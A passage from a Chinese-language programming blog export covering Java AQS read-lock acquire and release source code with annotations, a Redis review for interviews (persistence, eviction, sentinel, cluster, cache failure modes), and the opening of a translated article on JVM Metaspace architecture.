* because of queue policy. If not, try 47 * to grant by CASing state and updating count. 48 * Note that step does not check for reentrant 49 * acquires, which is postponed to full version 50 * to avoid having to check hold count in 51 * the more typical non-reentrant case. 52 * 3、如果因为CAS更新status失败或者重入计数超过最大值导致步骤2执行失败 53 * 那就进入到fullTryAcquireShared方法进行死循环，直到抢锁成功 54 * 3. If step 2 fails either because thread 55 * apparently not eligible or CAS fails or count 56 * saturated, chain to version with full retry loop. 57 */ 58 59 //当前尝试获取读锁的线程 60 Thread current = Thread.currentThread(); 61 //获取该读写锁状态 62 int c = getState(); 63 //如果有线程获取到了写锁 ，且获取写锁的不是当前线程则返回失败 64 if (exclusiveCount(c) != 0 \u0026amp;\u0026amp; 65 getExclusiveOwnerThread() != current) 66 return -1; 67 //获取读锁的重入计数 68 int r = sharedCount(c); 69 //如果读线程不应该被阻塞，且重入计数小于最大值，且CAS执行读锁重入计数+1成功，则执行线程重入的计数加1操作，返回成功 70 if (!readerShouldBlock() \u0026amp;\u0026amp; 71 r \u0026lt; MAX_COUNT \u0026amp;\u0026amp; 72 compareAndSetState(c, c + SHARED_UNIT)) { 73 //如果还未有线程获取到读锁，则将firstReader设置为当前线程，firstReaderHoldCount设置为1 74 if (r == 0) { 75 firstReader = current; 76 firstReaderHoldCount = 1; 77 } else if (firstReader == current) { 78 //如果firstReader是当前线程，则将firstReader的重入计数变量firstReaderHoldCount加1 79 firstReaderHoldCount++; 80 } else { 81 //否则说明有至少两个线程共享读锁，获取共享锁重入计数器HoldCounter 82 //从HoldCounter中拿到当前线程的线程变量cachedHoldCounter，将此线程的重入计数count加1 83 HoldCounter rh = cachedHoldCounter; 84 if (rh == null || rh.tid != getThreadId(current)) 85 cachedHoldCounter = rh = readHolds.get(); 86 else if (rh.count == 0) 87 readHolds.set(rh); 88 rh.count++; 89 } 90 return 1; 91 } 92 //如果上面的if条件有一个都不满足，则进入到这个方法里进行死循环重新获取 93 return fullTryAcquireShared(current); 94 } 95 /** 96 * 用于处理CAS操作state失败和tryAcquireShared中未执行获取可重入锁动作的full方法(补偿方法？) 97 * Full version of acquire for reads, that handles CAS misses 98 * and reentrant reads not dealt with in tryAcquireShared. 99 */ 100 final int fullTryAcquireShared(Thread current) { 101 /* 102 * 此代码与tryAcquireShared中的代码有部分相似的地方， 103 * 但总体上更简单，因为不会使tryAcquireShared与重试和延迟读取保持计数之间的复杂判断 104 * This code is in part redundant with that in 105 * tryAcquireShared but is simpler overall by not 106 * complicating tryAcquireShared with interactions between 107 * retries and lazily reading hold counts. 108 */ 109 HoldCounter rh = null; 110 //死循环 111 for (;;) { 112 //获取读写锁状态 113 int c = getState(); 114 //如果有线程获取到了写锁 115 if (exclusiveCount(c) != 0) { 116 //如果获取写锁的线程不是当前线程，返回失败 117 if (getExclusiveOwnerThread() != current) 118 return -1; 119 // else we hold the exclusive lock; blocking here 120 // would cause deadlock. 121 } else if (readerShouldBlock()) {//如果没有线程获取到写锁，且读线程要阻塞 122 // Make sure we\u0026#39;re not acquiring read lock reentrantly 123 //如果当前线程为第一个获取到读锁的线程 124 if (firstReader == current) { 125 // assert firstReaderHoldCount \u0026gt; 0; 126 } else { //如果当前线程不是第一个获取到读锁的线程(也就是说至少有有一个线程获取到了读锁) 127 // 128 if (rh == null) { 129 rh = cachedHoldCounter; 130 if (rh == null || rh.tid != getThreadId(current)) { 131 rh = readHolds.get(); 132 if (rh.count == 0) 133 readHolds.remove(); 134 } 135 } 136 if (rh.count == 0) 137 return -1; 138 } 139 } 140 /** 141 *下面是既没有线程获取写锁，当前线程又不需要阻塞的情况 142 */ 143 //重入次数等于最大重入次数，抛异常 144 if (sharedCount(c) == MAX_COUNT) 145 throw new Error(\u0026#34;Maximum lock count exceeded\u0026#34;); 146 //如果执行CAS操作成功将读写锁的重入计数加1，则对当前持有这个共享读锁的线程的重入计数加1，然后返回成功 147 if (compareAndSetState(c, c + SHARED_UNIT)) { 148 if (sharedCount(c) == 0) { 149 firstReader = current; 150 firstReaderHoldCount = 1; 151 } else if (firstReader == current) { 152 firstReaderHoldCount++; 153 } else { 154 if (rh == null) 155 rh = cachedHoldCounter; 156 if (rh == null || rh.tid != getThreadId(current)) 157 rh = readHolds.get(); 158 else if (rh.count == 0) 159 readHolds.set(rh); 160 rh.count++; 161 cachedHoldCounter = rh; // cache for release 162 } 163 return 1; 164 } 165 } 166 } 167 168```java 169 170释放读锁源码： 171 172```java 173/** 174 * Releases in shared mode. Implemented by unblocking one or more 175 * threads if {@link #tryReleaseShared} returns true. 176 * 177 * @param arg the release argument. This value is conveyed to 178 * {@link #tryReleaseShared} but is otherwise uninterpreted 179 * and can represent anything you like. 180 * @return the value returned from {@link #tryReleaseShared} 181 */ 182public final boolean releaseShared(int arg) { 183 if (tryReleaseShared(arg)) {//尝试释放一次共享锁计数 184 doReleaseShared();//真正释放锁 185 return true; 186 } 187 return false; 188} 189/** 190 *此方法表示读锁线程释放锁。 191 *首先判断当前线程是否为第一个读线程firstReader， 192 *若是，则判断第一个读线程占有的资源数firstReaderHoldCount是否为1， 193 若是，则设置第一个读线程firstReader为空，否则，将第一个读线程占有的资源数firstReaderHoldCount减1； 194 若当前线程不是第一个读线程， 195 那么首先会获取缓存计数器（上一个读锁线程对应的计数器 ）， 196 若计数器为空或者tid不等于当前线程的tid值，则获取当前线程的计数器， 197 如果计数器的计数count小于等于1，则移除当前线程对应的计数器， 198 如果计数器的计数count小于等于0，则抛出异常，之后再减少计数即可。 199 无论何种情况，都会进入死循环，该循环可以确保成功设置状态state 200 */ 201protected final boolean tryReleaseShared(int unused) { 202 // 获取当前线程 203 Thread current = Thread.currentThread(); 204 if (firstReader == current) { // 当前线程为第一个读线程 205 // assert firstReaderHoldCount \u0026gt; 0; 206 if (firstReaderHoldCount == 1) // 读线程占用的资源数为1 207 firstReader = null; 208 else // 减少占用的资源 209 firstReaderHoldCount--; 210 } else { // 当前线程不为第一个读线程 211 // 获取缓存的计数器 212 HoldCounter rh = cachedHoldCounter; 213 if (rh == null || rh.tid != getThreadId(current)) // 计数器为空或者计数器的tid不为当前正在运行的线程的tid 214 // 获取当前线程对应的计数器 215 rh = readHolds.get(); 216 // 获取计数 217 int count = rh.count; 218 if (count \u0026lt;= 1) { // 计数小于等于1 219 // 移除 220 readHolds.remove(); 221 if (count \u0026lt;= 0) // 计数小于等于0，抛出异常 222 throw unmatchedUnlockException(); 223 } 224 // 减少计数 225 --rh.count; 226 } 227 for (;;) { // 死循环 228 // 获取状态 229 int c = getState(); 230 // 获取状态 231 int nextc = c - SHARED_UNIT; 232 if (compareAndSetState(c, nextc)) // 比较并进行设置 233 // Releasing the read lock has no effect on readers, 234 // but it may allow waiting writers to proceed if 235 // both read and write locks are now free. 236 return nextc == 0; 237 } 238 } 239 /**真正释放锁 240 * Release action for shared mode -- signals successor and ensures 241 * propagation. (Note: For exclusive mode, release just amounts 242 * to calling unparkSuccessor of head if it needs signal.) 243 */ 244private void doReleaseShared() { 245 /* 246 * Ensure that a release propagates, even if there are other 247 * in-progress acquires/releases. This proceeds in the usual 248 * way of trying to unparkSuccessor of head if it needs 249 * signal. But if it does not, status is set to PROPAGATE to 250 * ensure that upon release, propagation continues. 251 * Additionally, we must loop in case a new node is added 252 * while we are doing this. Also, unlike other uses of 253 * unparkSuccessor, we need to know if CAS to reset status 254 * fails, if so rechecking. 255 */ 256 for (;;) { 257 Node h = head; 258 if (h != null \u0026amp;\u0026amp; h != tail) { 259 int ws = h.waitStatus; 260 if (ws == Node.SIGNAL) { 261 if (!compareAndSetWaitStatus(h, Node.SIGNAL, 0)) 262 continue; // loop to recheck cases 263 unparkSuccessor(h); 264 } 265 else if (ws == 0 \u0026amp;\u0026amp; 266 !compareAndSetWaitStatus(h, 0, Node.PROPAGATE)) 267 continue; // loop on failed CAS 268 } 269 if (h == head) // loop if head changed 270 break; 271 } 272 } 273 274```java 275 276**对同一个线程来说（可重入），在线程持有读锁的情况下，该线程不能取得写锁****(因为获取写锁的时候，如果发现当前的读锁被占用，就马上获取失败，不管读锁是不是被当前线程持有)。** 277 278**对同一个线程来说（可重入），在线程持有写锁的情况下，该线程可以继续获取读锁****（获取读锁时如果发现写锁被占用，只有写锁没有被当前线程占用的情况才会获取失败）。** 279 280**• 读锁使用的是共享锁，多个读锁可以一起获取锁，互相不会影响，即读读不互斥；** 281 282**• 读写、写读和写写是会互斥的（****多线程情况****），前者占有着锁，后者需要进入AQS队列中排队；** 283 284**• 多个连续的读线程是一个接着一个被唤醒的，而不是一次性唤醒所有读线程；** 285 286**• 只有多个读锁都完全释放了才会唤醒下一个写线程；** 287 288**• 只有写锁完全释放了才会唤醒下一个等待者，这个等待者有可能是读线程，也可能是写线程；** 289 290**• 读写所允许同一时刻被多个读线程访问，但是在写线程访问时，所有的读线程和其他的写线程都会被阻塞。** 291 292**• 读写锁保证了写操作对后续的读操作的可见性** 293 294**• 锁降级：遵循获取写锁，获取读锁再释放写锁的次序，写锁能够降级为读锁** 295 296锁降级指的是写锁降级成为读锁。如果当前线程拥有写锁，然后将其释放，最后再获取读锁，这种分段完成的过程不能称之为锁降级。锁降级是指把持住（当前拥有的）写锁，再获取到读锁，随后释放（先前拥有的）写锁的过程。 297 298```cs 299public void processData() { 300 readLock.lock(); 301 if (!update) { 302 // 必须先释放读锁 303 readLock.unlock(); 304 // 锁降级从写锁获取到开始 305 writeLock.lock(); 306 try { 307 if (!update) { 308 // 准备数据的流程（略） 309 update = true; 310 } 311 readLock.lock(); 312 } finally { 313 writeLock.unlock(); 314 }// 锁降级完成，写锁降级为读锁 315 } 316 try {// 使用数据的流程（略） 317 } finally { 318 readLock.unlock(); 319 } 320 } 参考\nhttps://tech.meituan.com/2019/12/05/aqs-theory-and-apply.html\nhttps://tech.meituan.com/2018/11/15/java-lock.html\nhttps://mp.weixin.qq.com/s/h3VIUyH9L0v14MrQJiiDbw\nhttps://www.cnblogs.com/waterystone/p/4920797.html\nhttps://www.cnblogs.com/chengxiao/archive/2017/07/24/7141160.html\n关注公众号 获取更多精彩内容\n","date":"2020-04-18T02:24:35Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-04-18-che-di-gao-dong-aqs/cover.jpg","permalink":"/p/2020-04-18-che-di-gao-dong-aqs/","title":"彻底搞懂AQS"},{"content":"\nRedis全称Remote DIctionary Server\n数据结构 ￼\nstring\nhash\nlist\nset\nsortedset\n持久化 RDB Redis DataBase(简称RDB)\nAOF Append-only file (简称AOF)\nRDB 持久化机制，是对 redis 中的数据执行周期性的持久化。\nAOF：AOF 机制对每条写入命令作为日志，以 append-only 的模式写入一个日志文件中，在 redis 重启的时候，可以通过回放 AOF 日志中的写入指令来重新构建整个数据集。\nRDB 和 AOF 到底该如何选择？\n不要仅仅使用 RDB，因为那样会导致你丢失很多数据；\n也不要仅仅使用 AOF，因为那样有两个问题：第一，你通过 AOF 做冷备，没有 RDB 做冷备来的恢复速度更快；第二，RDB 每次简单粗暴生成数据快照，更加健壮，可以避免 AOF 这种复杂的备份和恢复机制的 bug；\nredis 支持同时开启开启两种持久化方式，我们可以综合使用 AOF 和 RDB 两种持久化机制，用 AOF 来保证数据不丢失，作为数据恢复的第一选择; 用 RDB 来做不同程度的冷备，在 AOF 文件都丢失或损坏不可用的时候，还可以使用 RDB 来进行快速的数据恢复。\n如果突然机器掉电会怎样?\n取决于aof日志sync属性的配置，如果不要求性能，在每条写指令时都sync一下磁盘，就不会丢失数据。但是在高性能的要求下每次都sync是不现实的，一般都使用定时sync，比如1s1次，这个时候最多就会丢失1s的数据。\nredis 数据淘汰策略 volatile-lru：从已设置过期时间的数据集（server.db[i].expires）中挑选最近最少使用的数据淘汰\nvolatile-ttl：从已设置过期时间的数据集（server.db[i].expires）中挑选将要过期的数据淘汰\nvolatile-random：从已设置过期时间的数据集（server.db[i].expires）中任意选择数据淘汰\nallkeys-lru：从数据集（server.db[i].dict）中挑选最近最少使用的数据淘汰\nallkeys-random：从数据集（server.db[i].dict）中任意选择数据淘汰\nno-enviction（驱逐）：禁止驱逐数据\n默认的内存策略是noeviction， 不删除任意数据(但redis还会根据引用计数器进行释放呦~),这时如果内存不够时，会直接返回错误\n客户端与 redis 的一次通信过程 首先，redis 服务端进程初始化的时候，会将 server socket 的 AE_READABLE 事件与连接应答处理器关联。客户端 socket01 向 redis 进程的 server socket 请求建立连接，此时 server socket 会产生一个 AE_READABLE 事件，IO 多路复用程序监听到 server socket 产生的事件后，将该 socket 压入队列中。文件事件分派器从队列中获取 socket，交给连接应答处理器。连接应答处理器会创建一个能与客户端通信的 socket01，并将该 socket01 的 AE_READABLE 事件与命令请求处理器关联。\n假设此时客户端发送了一个 set key value 请求，此时 redis 中的 socket01 会产生 AE_READABLE 事件，IO 多路复用程序将 socket01 压入队列，此时事件分派器从队列中获取到 socket01 产生的 AE_READABLE 事件，由于前面 socket01 的 AE_READABLE 事件已经与命令请求处理器关联，因此事件分派器将事件交给命令请求处理器来处理。命令请求处理器读取 socket01 的 key value 并在自己内存中完成 key value 的设置。操作完成后，它会将 socket01 的 AE_WRITABLE 事件与命令回复处理器关联。\n如果此时客户端准备好接收返回结果了，那么 redis 中的 socket01 会产生一个 AE_WRITABLE 事件，同样压入队列中，事件分派器找到相关联的命令回复处理器，由命令回复处理器对 socket01 输入本次操作的一个结果，比如 ok，之后解除 socket01 的 AE_WRITABLE 事件与命令回复处理器的关联。\n这样便完成了一次通信。关于 Redis 的一次通信过程\n高可用 master/slave + 哨兵 Sentinel\n单机的 redis，能够承载的 QPS 大概就在上万到几万不等。对于缓存来说，一般都是用来支撑读高并发的。因此架构做成主从(master-slave)架构，一主多从，主负责写，并且将数据复制到其它的 slave 节点，从节点负责读。所有的读请求全部走从节点。这样也可以很轻松实现水平扩容，支撑读高并发。\nredis 的高可用架构，叫做 failover 故障转移，也可以叫做主备切换。\nmaster node 在故障时，自动检测，并且将某个 slave node 自动切换为 master node 的过程，叫做主备切换。\nsentinel，中文名是哨兵。哨兵是 redis 集群架构中非常重要的一个组件，主要有以下功能：\n集群监控：负责监控 redis master 和 slave 进程是否正常工作。\n消息通知：如果某个 redis 实例有故障，那么哨兵负责发送消息作为报警通知给管理员。\n故障转移：如果 master node 挂掉了，会自动转移到 slave node 上。\n配置中心：如果故障转移发生了，通知 client 客户端新的 master 地址。\nRedis Cluster\nRedis Cluster是社区版推出的Redis分布式集群解决方案，主要解决Redis分布式方面的需求，比如，当遇到单机内存，并发和流量等瓶颈的时候，Redis Cluster能起到很好的负载均衡的目的。\nRedis Cluster集群节点最小配置6个节点以上（3主3从），其中主节点提供读写操作，从节点作为备用节点，不提供请求，只作为故障转移使用。\nRedis Cluster采用虚拟槽分区，所有的键根据哈希函数映射到0～16383个整数槽内，每个节点负责维护一部分槽以及槽所映射的键值数据。\n自动将数据进行分片，每个 master 上放一部分数据\n提供内置的高可用支持，部分 master 不可用时，还是可以继续工作的\n集群由N组主从Redis Instance组成。主可以没有从，但是没有从 意味着主宕机后主负责的Slot读写服务不可用。一个主可以有多个从，主宕机时，某个从会被提升为主，具体哪个从被提升为主，协议类似于Raft。\n如何检测主宕机？Redis Cluster采用quorum+心跳的机制。从节点的角度看，节点会定期给其他所有的节点发送Ping，cluster-node-timeout(可配置，秒级)时间内没有收到对方的回复，则单方面认为对端节点宕机，将该节点标为PFAIL状态。通过节点之间交换信息收集到quorum个节点都认为这个节点为PFAIL，则将该节点标记为FAIL，并且将其发送给其他所有节点，其他所有节点收到后立即认为该节点宕机。从这里可以看出，主宕机后，至少cluster-node-timeout时间内该主所负责的Slot的读写服务不可用。\nRedis Sentinal着眼于高可用，在master宕机时会自动将slave提升为master，继续提供服务。\nRedis Cluster着眼于扩展性，在单个redis内存不足时，使用Cluster进行分片存储。\n缓存穿透 对于系统A，假设一秒 5000 个请求，结果其中 4000 个请求是黑客发出的恶意攻击。\n黑客发出的那 4000 个攻击，缓存中查不到，每次你去数据库里查，也查不到。\n举个栗子。数据库 id 是从 1 开始的，结果黑客发过来的请求 id 全部都是负数。这样的话，缓存中不会有，请求每次都“视缓存于无物”，直接查询数据库。这种恶意攻击场景的缓存穿透就会直接把数据库给打死。\n缓存击穿 缓存击穿，就是说某个 key 非常热点，访问非常频繁，处于集中式高并发访问的情况，当这个 key 在失效的瞬间，大量的请求就击穿了缓存，直接请求数据库，就像是在一道屏障上凿开了一个洞。\n缓存雪崩 对于系统 A，假设每天高峰期每秒 5000 个请求，本来缓存在高峰期可以扛住每秒 4000 个请求，但是缓存机器意外发生了全盘宕机。缓存挂了，此时 1 秒 5000 个请求全部落数据库，数据库必然扛不住，它会报一下警，然后就挂了。此时，如果没有采用什么特别的方案来处理这个故障，DBA 很着急，重启数据库，但是数据库立马又被新的流量给打死了。\n缓存雪崩的事前事中事后的解决方案如下：\n事前：redis 高可用，主从+哨兵，redis cluster，避免全盘崩溃。\n事中：本地 ehcache 缓存 + hystrix 限流\u0026amp;降级，避免 MySQL 被打死。\n事后：redis 持久化，一旦重启，自动从磁盘上加载数据，快速恢复缓存数据。\nCache Aside Pattern 最经典的缓存+数据库读写的模式，就是 Cache Aside Pattern。\n读的时候，先读缓存，缓存没有的话，就读数据库，然后取出数据后放入缓存，同时返回响应。\n更新的时候，先更新数据库，然后再删除缓存。\nRedis的并发竞争问题 Redis的并发竞争问题，主要是发生在并发写竞争。\n利用redis自带的incr命令 （Redis 的原子性自增操作）\n使用乐观锁的方式进行解决（成本较低，非阻塞，性能较高）redis 的命令 watch\n利用redis的setnx实现内置的锁。\nzookeeper分布式锁\n利用消息队列:可以通过消息中间件进行处理,把并行读写进行串行化\n分区分片 客户端分片\n代理分片,中件间\nRedis Cluster\n为什么 redis 单线程模型也能效率这么高？ 纯内存操作。\n核心是基于非阻塞的 IO 多路复用机制。\nC 语言实现，一般来说，C 语言实现的程序“距离”操作系统更近，执行速度相对会更快。\n单线程反而避免了多线程的频繁上下文切换问题，预防了多线程可能产生的竞争问题。\nRedis 常见的性能问题都有哪些？如何解决？ 1).Master写内存快照，save命令调度rdbSave函数，会阻塞主线程的工作，当快照比较大时对性能影响是非常大的，会间断性暂停服务，所以Master最好不要写内存快照。\n2).Master AOF持久化，如果不重写AOF文件，这个持久化方式对性能的影响是最小的，但是AOF文件会不断增大，AOF文件过大会影响Master重启的恢复速度。Master最好不要做任何持久化工作，包括内存快照和AOF日志文件，特别是不要启用内存快照做持久化,如果数据比较关键，某个Slave开启AOF备份数据，策略为每秒同步一次。\n3).Master调用BGREWRITEAOF重写AOF文件，AOF在重写的时候会占大量的CPU和内存资源，导致服务load过高，出现短暂服务暂停现象。\n4). Redis主从复制的性能问题，为了主从复制的速度和连接的稳定性，Slave和Master最好在同一个局域网内\n优化redis内存 数据淘汰策略\n优化序列化\n缩减键值对象\nRedis为列表、集合、散列、有序集合提供了一组配置选项，这些选项可以让redis以更节约的方式存储较短的结构。\n与其它框架的比较 关注公众号 获取更多精彩内容\n","date":"2020-04-16T15:50:41Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-04-16-redis-xiao-zong-jie-shi-he-fu-xi-mian-shi/cover.jpg","permalink":"/p/2020-04-16-redis-xiao-zong-jie-shi-he-fu-xi-mian-shi/","title":"Redis 小总结（适合复习、面试）"},{"content":"\n声明：本文非原创，是转载的下面这篇文章，如有侵权请联系本人。\n（https://www.javadoop.com/post/metaspace）。\n在之前介绍的分代垃圾回收算法中，我们一直有一个永久代存在，叫 PermGen，内存上它是挨着堆的。为了垃圾回收方便，HotSpot 在永久代上一直是使用老年代的垃圾回收算法。\n永久代主要存放以下数据：\nJVM internal representation of classes and their metadata\nClass statics\nInterned strings\n从 JDK7 开始，JDK 开发者们就有消灭永久代的打算了。有部分数据移到永久代之外了：\nSymbols =\u0026gt; native memory\nInterned strings =\u0026gt; Java Heap\nClass statics =\u0026gt; Java Heap\n到了 JDK8，这个工作终于完成了，彻底废弃了 PermGen，Metaspace 取而代之。\n本文的内容主要是翻译 Thomas Stüfe 的 Metaspace 系列文章，他是 OpenJDK Committer/Reviewer. JVM developer at SAP，一看 Title 就很靠谱，因为他是 JVM 开发者，当然主要是内容也写得非常棒。\n当然了，我不是一字一句翻译，文中会删掉部分累赘的内容，讲清楚就可以了。同时，原文第五篇是介绍使用 jcmd 工具观察 Metaspace 的空间使用情况，这一节我觉得没有必要介绍，所以没有加进来。\n1、什么是 Metaspace Metaspace 区域位于堆外，所以它的最大内存大小取决于系统内存，而不是堆大小，我们可以指定 MaxMetaspaceSize 参数来限定它的最大内存。\nMetaspace 是用来存放 class metadata 的，class metadata 用于记录一个 Java 类在 JVM 中的信息，包括但不限于 JVM class file format 的运行时数据：\n1、Klass 结构，这个非常重要，把它理解为一个 Java 类在虚拟机内部的表示吧；\n2、method metadata，包括方法的字节码、局部变量表、异常表、参数信息等；\n3、常量池；\n4、注解；\n5、方法计数器，记录方法被执行的次数，用来辅助 JIT 决策；\n6、 其他\n虽然每个 Java 类都关联了一个 java.lang.Class 的实例，而且它是一个贮存在堆中的 Java 对象。但是类的 class metadata 不是一个 Java 对象，它不在堆中，而是在 Metaspace 中。\n什么时候分配 Metaspace 空间 当一个类被加载时，它的类加载器会负责在 Metaspace 中分配空间用于存放这个类的元数据。\n上面这个示意图非常简单，可以看到在 Id 这个类加载器第一次加载类 X 和 Y 的时候，在 Metaspace 中为它们开辟空间存放元信息。\n什么时候回收 Metaspace 空间 分配给一个类的空间，是归属于这个类的类加载器的，只有当这个类加载器卸载的时候，这个空间才会被释放。\n所以，只有当这个类加载器加载的所有类都没有存活的对象，并且没有到达这些类和类加载器的引用时，相应的 Metaspace 空间才会被 GC 释放。看下图：\n所以，一个 Java 类在 Metaspace 中占用的空间，它是否释放，取决于这个类的类加载器是否被卸载。\n内存通常会被保留 释放 Metaspace 的空间，并不意味着将这部分空间还给系统内存，这部分空间通常会被 JVM 保留下来。\n这部分被保留的空间有多大，取决于 Metaspace 的碎片化程度。另外，Metaspace 中有一部分区域 Compressed Class Space 是一定不会还给操作系统的。\n这里先了解概念，后面都会展开来说。\n配置 Metaspace 空间 我们只需要关心两个配置参数：\n-XX:MaxMetaspaceSize：Metaspace 总空间的最大允许使用内存，默认是不限制。\n-XX:CompressedClassSpaceSize：Metaspace 中的 Compressed Class Space 的最大允许内存，默认值是 1G，这部分会在 JVM 启动的时候向操作系统申请 1G 的虚拟地址映射，但不是真的就用了操作系统的 1G 内存。\nMetaspace 和 GC Metaspace 只在 GC 运行并且卸载类加载器的时候才会释放空间。当然，在某些时候，需要主动触发 GC 来回收一些没用的 class metadata，即使这个时候对于堆空间来说，还达不到 GC 的条件。\nMetaspace 可能在两种情况下触发 GC：\n1、分配空间时：虚拟机维护了一个阈值，如果 Metaspace 的空间大小超过了这个阈值，那么在新的空间分配申请时，虚拟机首先会通过收集可以卸载的类加载器来达到复用空间的目的，而不是扩大 Metaspace 的空间，这个时候会触发 GC。这个阈值会上下调整，和 Metaspace 已经占用的操作系统内存保持一个距离。\n2、碰到 Metaspace OOM：Metaspace 的总使用空间达到了 MaxMetaspaceSize 设置的阈值，或者 Compressed Class Space 被使用光了，如果这次 GC 真的通过卸载类加载器腾出了很多的空间，这很好，否则的话，我们会进入一个糟糕的 GC 周期，即使我们有足够的堆内存。\n所以大家千万不要把 MaxMetaspaceSize 设置得太小。\n2、Metaspace 的架构 这一节将深入到 Metaspace 的架构实现，将描述它的每一层和每一个组件，以及它们是怎么工作的。\n对于开发者来说，这一定是非常有趣的一件事情，我们大部分开发者都不可能去开发 JDK，但是了解这些总是充满着乐趣。\nMetaspace 在实现上分为多层。最底层，负责向操作系统申请大块的内存；中间的一层，负责分出一小块一小块给每个类加载器；最顶层，类加载器负责把这些申请到的内存块用来存放 class metadata。\n最底层：the space list 在最底层，JVM 通过 mmap(3) 接口向操作系统申请内存映射，在 64 位平台上，每次申请 2MB 空间。\n当然，这里的 2MB 不是真的就消耗了主存的 2MB，只有之后在使用的时候才会真的消耗内存。这里是虚拟内存映射。\n每次申请过来的内存区域，放到一个链表中 VirtualSpaceList，作为其中的一个 Node。看下图。\n一个 Node 是 2MB 的空间，前面说了在使用的时候再向操作系统申请实际的内存，但是频繁的系统调用会降低性能，所以 Node 内部需要维护一个水位线，当 Node 内已使用内存快达到水位线的时候，向操作系统要新的内存页。并且相应地提高水位线。\n直到一个 Node 被完全用完，会分配一个新的 Node，并且将其加入到链表中，老的 Node 就 “退休” 了。下图中，前面的三个 Node 就是退休状态了。\n从一个 Node 中分配内存，每一块称为 MetaChunk，chunk 有三种规格，在 64 位系统中分别为 1K、4K、64K。\n链表 VirtualSpaceList 和每个节点 Node 是全局的，而 Node 内部的一个个 MetaChunk 是分配给每个类加载器的。所以一个 Node 通常由分配给多个类加载器的 chunks 组成。\n当一个类加载器和它加载的所有的类都卸载的时候，它占用的 chunks 就会加入到一个全局的空闲列表中：ChunkManager，看下图：\n这些 chunks 会被复用：如果其他的类加载器加载新的类，它可能就会得到一个空闲列表中的 chunk，而不是去 Node 中申请一个新的 chunk。\n后面会说到，如果刚好把整个 Node 都清空了，那么这整个 Node 的内存会直接还给操作系统。\n当然，由这个 Node 进入到空闲列表的节点也要删除。\n中间层：Metachunk 通常一个类加载器在申请 Metaspace 空间用来存放 metadata 的时候，也就需要几十到几百个字节，但是它会得到一个 Metachunk，一个比要求的内存大得多的内存块。\n为什么？因为前面说了，要从全局的 VirtualSpaceList 链表的 Node 中分配内存是昂贵的操作，需要加锁。我们不希望这个操作太频繁，所以一次性给一个大的 MetaChunk，以便于这个类加载器之后加载其他的类，这样就可以做到多个类加载器并发分配了。只有当这个 chunk 用完了，类加载器才需要又去 VirtualSpaceList 申请新的 chunk。\n前面说了，chunk 有三种规格，那 Metaspace 的分配器怎么知道一个类加载器每次要多大的 chunk 呢？这当然是基于猜测的：\n通常，一个标准的类加载器在第一次申请空间时，会得到一个 4K 的 chunk，直到它达到了一个随意设置的阈值（4），此时分配器失去了耐心，之后会一次性给它一个 64K 的大 chunk。\nbootstrap classloader 是一个公认的会加载大量的类的加载器，所以分配器会给它一个巨大的 chunk，一开始就会给它 4M。可以通过 InitialBootClassLoaderMetaspaceSize 进行调优。\n反射类类加载器 (jdk.internal.reflect.DelegatingClassLoader) 和匿名类类加载器只会加载一个类，所以一开始只会给它们一个非常小的 chunk（1K），因为给它们太多就是一种浪费。\n类加载器申请空间的时候，每次都给类加载器一个 chunk，这种优化，是建立在假设它们立马就会需要新的空间的基础上的。这种假设可能正确也可能错误，可能在拿到一个很大的 chunk 后，这个类加载器恰巧就不再需要加载新的类了。\n对于这部分可能的空间浪费，可以在后面介绍的系统工具中观察到。\n最顶层：Metablock 在 Metachunk 上，我们有一个二级分配器（class-loader-local allocator），它将一个 Metachunk 分割成一个个小的单元，这些小的单元称为 Metablock，它们是实际分配给每个调用者的。\n这个二级分配器非常原始，它的速度也非常快：\n前面说过，class metadata 的生命周期是和类加载器绑定的，所以在类加载器卸载的时候，JVM 可以大块大块地释放这些空间。\n下面展示一个 Metachunk 的结构：\n这个 chunk 诞生的时候，它只有一个 header，之后的分配都只要在顶部进行分配就行。\n由于这个 chunk 是归属于一个类加载器的，所以如果它不再加载新的类，那么 unused 空间就将真的浪费掉。\nClassloaderData and ClassLoaderMetaspace 在 JVM 内部，一个类加载器以一个 ClassLoaderData 结构标识，这个结构引用了一个 ClassLoaderMetaspace 结构，它维护了该加载器使用的所有的 Metachunk。\n当这个类加载器被卸载的时候，这个 ClassLoaderData 和 ClassLoaderMetaspace 会被删除。并且会将所有的这个加载器用到的 chunks 归还到空闲列表中。这部分内存是否可以直接归还给操作系统取决于是否满足其他条件，后面会介绍。\n就是前面提过的，如果恰好把整个 Node 都清空了，那么这个 Node 的内存直接还给操作系统\n匿名类 ClassloaderData != ClassLoaderMetaspace\n注意，我们前面说，“Metaspace 内存是属于类加载器的”，但是，这里其实撒了一个小谎，如果将匿名类考虑进去，那就更加复杂了：\n当类加载器加载一个匿名类时，这个类有自己独立的 ClassLoaderData，它的生命周期是跟随着这个匿名类的，而不是这个类加载器（所以，和它相关的空间可以在类加载器卸载前得到释放）。所以，一个类加载器有一个主要的 ClassLoaderData 结构用来服务所有的正常的类，对于每一个匿名类，还有一个二级的 ClassLoaderData 结构来维护。\n这样做的目的之一，其实就是没有必要扩大大量的 Lambdas 和 method handlers 在 Metaspace 中的空间的生命周期。\n内存什么时候会还给操作系统 当一个 VirtualSpaceListNode 中的所有 chunk 都是空闲的时候，这个 Node 就会从链表 VirtualSpaceList 中移除，它的 chunks 也会从空闲列表中移除，这个 Node 就没有被使用了，会将其内存归还给操作系统。\n对于一个空闲的 Node 来说，拥有其上面的 chunks 的所有的类加载器必然都是被卸载了的。\n至于这个情况是否可能发生，主要就是取决于碎片化：\n一个 Node 是 2M，chunks 的大小为 1K, 4K 或 64K，所以通常一个 Node 上有约 150-200 个 chunks，如果这些 chunks 全部由同一个类加载器拥有，回收这个类加载器就可以一次性回收这个 Node，并且把它的空间还给操作系统。\n但是，如果这些 chunks 分配给不同的类加载器，每个类加载器都有不同的生命周期，那么什么都不会被释放。这也许就是在告诉我们，要小心对待大量的小的类加载器，如那些负责加载匿名类或反射类的加载器。\n同时也要清楚，Metaspace 中的 Compressed Class Space 是永远不会将内存还给操作系统的。我们马上就要介绍这部分内容了。\n本节小结 每次向操作系统申请 2M 的虚拟空间映射，放置到全局链表中，待需要使用的时候申请内存。\n一个 Node 会分割为一个个的 chunks，分配给类加载器，一个 chunk 属于一个类加载器。\nchunk 再细分为一个个 Metablock，这是分配给调用者的最小单元。\n当一个类加载器被卸载，它占有的 chunks 会进入到空闲列表，以便复用，如果运气好的话，有可能会直接把内存归还给操作系统。\n3、什么是 Compressed Class 